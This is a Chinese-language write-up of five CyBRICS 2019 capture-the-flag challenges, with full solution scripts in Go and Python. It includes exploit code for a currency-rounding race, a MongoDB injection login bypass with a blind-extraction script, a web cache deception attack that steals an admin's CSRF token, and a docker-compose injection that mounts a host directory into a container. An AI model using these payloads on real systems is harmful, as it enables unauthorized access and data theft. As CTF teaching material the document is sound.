CyBRICS CTF 2019 WriteUp

0x00 前言

又是摸鱼的一天

0x01 Bitkoff Bank (Web, Easy, 50 pts)

题目描述

Author: Alexander Menshchikov (n0str)

Need more money! Need the flag!

题目解答

方法一:耗时较长但是操作简单

  1. 将btc兑换为usd
  2. 购买自动挖btc的机器人
  3. burp多线程跟着挖

几个小时之后就可以得到flag了。<–我的解法 (x_x)

方法二:逻辑兑换问题

  1. btc->usd
  2. usd->btc

这个流程走完会发现btc就变多了,这样兑换个几百次就可以得到flag。

之所以会想到这点:

  1. 尝试兑换
  2. 前端提示了对浮点数的处理,但是后端并没有对其进行限制。

别的师傅的解法–>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package main

import (
"fmt"
"io/ioutil"
"net/http"
"regexp"
"strings"
"sync"
)

var url = "http://95.179.148.72:8083/index.php"

func main() {
var wg sync.WaitGroup
go btc2usd("0.00009", true)
for j:=0; j < 100; j++ {
for i := 0; i < 1; i++ {
go usd2btc("0.9", &wg)
}
wg.Wait()
_, b := getmoney()
btc2usd(b, false)
fmt.Println(getmoney())
}
_, b := getmoney()
btc2usd(b, false)
fmt.Println(getmoney())
fmt.Println("done")

}



func getmoney() (string, string) {
client := &http.Client{}
req,_ := http.NewRequest("POST",url,strings.NewReader(""))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Cookie","name=catcat; password=catcat")
resp2, _ := client.Do(req)
body, _ := ioutil.ReadAll(resp2.Body)
r := regexp.MustCompile("Your USD: <b>(.*)</b><br>Your")
usd := r.FindStringSubmatch(string(body))[1]
r = regexp.MustCompile(">Your BTC: <b>(.*)</b><br>")
btc := r.FindStringSubmatch(string(body))[1]
return usd, btc
}


func btc2usd(amount string, l bool) {
client := &http.Client{}
req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=btc&to_currency=usd&amount="+amount))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Cookie","name=catcat; password=catcat")
if l == true {
for {
client.Do(req)
}
} else {
client.Do(req)
}

}

func usd2btc(amount string, wg *sync.WaitGroup) {
wg.Add(1)
client := &http.Client{}
req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=usd&to_currency=btc&amount="+amount))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Cookie","name=catcat; password=catcat")
client.Do(req)
wg.Done()
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import random
import string

url = 'http://95.179.148.72:8083/index.php'
s = requests.session()

def randstr(length=8):
return ''.join(random.sample(string.ascii_letters + string.digits, length))

def get(s,url):
while True:
try:
r=s.get(url,timeout=3)
if r.status_code != 500:
return r
except:
pass
pass

def post(s,url,data):
while True:
try:
r=s.post(url,data=data,timeout=3)
if r.status_code != 500:
return r
except:
pass
pass

def reg_login(s,url,un,pw):
payload={'name':un,'password':pw}
r=post(s,url,payload)
return r.text

def change(s,url,fr,to,am):
payload={'from_currency':fr,'to_currency':to,'amount':am}
r=post(s,url,payload)
return r.text

un=randstr()
pw=randstr()
print un
print pw
reg_login(s,url,un,pw)
reg_login(s,url,un,pw)
change(s,url,'btc','usd','0.00003')

while True:
res=get(s,url)
usd=res.text.split(': <b>')[1].split('</b>')[0]
btc=res.text.split(': <b>')[2].split('</b>')[0]
print float(usd)
if float(usd)>=1.0: break
change(s,url,'usd','btc',usd)
res=get(s,url)
usd=res.text.split(': <b>')[1].split('</b>')[0]
btc=res.text.split(': <b>')[2].split('</b>')[0]
change(s,url,'btc','usd',btc)

flag:cybrics{50_57R4n93_pR3c1510n}

0x02 NopeSQL (Web, Medium, 156 pts)

题目描述

Author: Alexander Menshchikov (n0str)

Maybe you can login and find unusual secret news

http://173.199.118.226/

题目解答

  1. git泄露源码(假的404)
1
python GitHack.py http://173.199.118.226/.git/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}

?>

<?php if ($user == true): ?>

Welcome!
<div>
Group most common news by
<a href="?filter=$category">category</a> |
<a href="?filter=$public">publicity</a><br>
</div>

<?php
$filter = $_GET['filter'];

$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];

$filters = [
['$project' => ['category' => $filter]]
];

$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>

<?php if (isset($filter)): ?>

<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>

<?php endif; ?>

<?php else: ?>

<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
Invalid username or password
<?php endif; ?>

<form action='/' method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>

<h2>News</h2>
<?php
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$cursor = $collection->find(['public' => 1]);
foreach ($cursor as $news) {
printf("%s<br>", $news['title']);
}
?>

<?php endif; ?>

从代码中可以看到是通过运行mongodb语句进行查询,那么就可以构造如下语句来bypass auth。

1
2
username: admin
password: ","password":{"$ne":null},"username":"admin

拼接之后

1
$raw_query = {"username": "admin", "password": "","password":{"$ne":null},"username":"admin"};

PS: $ne是不等于的意思。而且虽然变量重复了,但是decode时变量只会是最后一次的赋值。

登录之后就就会发现很明显是要从filter参数处构造注入来获取flag。

1
http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]=注入点

但是这里我还是不清楚这个二维数组的意思,所以后期需要调试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]="
cookie = {
"username": "admin",
"password": '","password":{"$ne":null},"username":"admin'
}

res = "cybrics{7"
for j in range(50):
for i in range(33,127):
s = chr(i)
# print s
r = requests.get(url+res+s, cookies=cookie)
# print r.text
if "1 has" not in r.text:
res += chr(i-1)
print "----->",res
break

这是盲注型解法,后面还看到有师傅用聚合管道直接构造出了payload

1
/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12

flag

1
cybrics{7|-|15 15 4 7E><7 |=|_49}

0x03 Caesaref (Web, Hard, 50 pts)

题目描述

Author: Alexander Menshchikov (n0str)

There is an additional one: Fixaref

This web resource is highly optimized:

http://45.77.218.242/

题目解答

题目出现问题,bot直接带cookie访问了,所以可以轻松拿到cookie,之后带cookie访问目标即可。

0x04 Fixaref (Web, Hard, 267 pts)

题目描述

Author: Alexander Menshchikov (n0str)

Caesaref recently suffered from a massive data breach. It was so critical that they decided to just start over. Here it goes — Fixaref: “Reliability is Our Game”™®.

This web resource is even more highly optimized:

http://95.179.190.31/

题目解答

  1. 就是css文件会被缓存
  2. 由于网站路由配置不当,导致可以将某些页面后缀变成css,然后就被缓存了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import re
import time
import random

url = "http://95.179.190.31/"

header = {
"Cookie": "PHPSESSID=nsce9ed7evs05iisp8u0hb41r6"
}

def getToken(text):
tmp = re.search('value="([a-z0-9]{64})"', text)
if(tmp):
print(tmp.group(1))
return tmp.group(1)
else:
print("[x] getToken() error!")
return 0


def ask(askData):
tokenRaw = requests.get(url,headers=header).text
data = {
"csrf-token":getToken(tokenRaw),
"question":askData,
"submit":"Ask"
}
askRespose = requests.post(url,data=data,headers=header)

return askRespose.text


def getFlag(token):
# return "http://95.179.190.31/index.php/5am3_flag520.css?csrf-token="+token+"%26flag=1%26a.css"
return url+"/index.php/{:d}.css?csrf-token={:s}%26flag=1%26a.css/abc.css".format(random.randint(1,23333333333),token)


url1 = url+"index.php/{:d}.css".format(random.randint(1,23333333333))
ask(url1)
print("loading...")
time.sleep(2)

tokenRaw = requests.get(url1,headers=header).text
if ("Show flag" in tokenRaw):
tokenAdmin =getToken(tokenRaw)
print("loading...")
time.sleep(2)

url2 = getFlag(tokenAdmin)
print(url2)
ask(url2)

print requests.get(url2.replace("%26","&")).text

得到flag

1
cybrics{Bu9s_C4N_83_uN1N73Nd3D!}

0x05 Dock Escape (CTB, Easy, 151 pts)

题目描述

Author: George Zaytsev (groke)

We want you to get a flag from hosting server. Flag path is /home/flag
http://95.179.188.234:8080/

题目解答

当时一直想是启动之后去利用某个trick去逃逸,所以一直卡在这儿,比完之后才发现其实是在启动的时候的问题。

一般来说docker是无法读取母机的文件的,但是如果在启动的时候加入一些参数就有可能呢个触发逃逸,但是最简单的方法就是将对应的目录挂载到docker上。

在端口号处随便输入发现会触发报错
C3202CF6-8086-4524-812C-42F55D50F1B4.png

根据报错信息发现是使用了docker-compose.yml,所以根据对应的语法构造payload就行了。

1
2233:12345\n    volumes:\n      - /home:/ctf #

这里最好使用burp来修包打

50DB0AB9-8D89-49BF-8205-E378CF61AE70.png

之后直接使用client.py来读flag

05E9C920-482C-4F0B-9A7C-69A51DA31398.png